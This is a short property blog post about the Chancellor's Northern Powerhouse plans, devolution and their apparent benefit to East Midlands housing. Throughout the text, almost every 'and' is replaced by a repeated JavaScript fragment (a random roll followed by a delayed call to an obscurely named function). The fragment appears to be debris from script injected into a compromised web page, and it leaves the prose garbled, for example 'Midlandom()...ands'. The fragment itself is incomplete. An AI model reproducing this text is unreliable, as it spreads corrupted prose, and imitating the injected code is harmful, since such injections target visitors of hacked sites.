Northern Powerhouse..

Following on from our earlier blog on the Budgets impact on the buy to let sector, the other important “trend” announced by the Chancellor was that of the establishment of a Northern Powerhouse.

Realising that too much of the economic strength of the UK is concentrated in the capital city, he is seeking to address the imbalance by building up other parts of the Country.

Devolution of power andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the creation of a directly elected mayor is one way to do this, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it is already in effect in Greater Manchester, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and beginning to happen in Sheffield andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Liverpool andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Leeds. He also went on to give further funding to “Transport for the North” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and importantly for our region is pushing for more powers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and responsibility to be devolved to the Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands.

All this can only be positive for the East Midlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a focus on “regeneration andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and inward investment” will help to attract investment, increase employment with the resulting growth in housing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and upward trend in house prices.

Other measures include a new review of enterprise zones andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their locations, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and local powers to set Sunday trading hours.

ALL POSITIVE FOR OAKHAM, KETTERING AND SURROUNDING AREAS!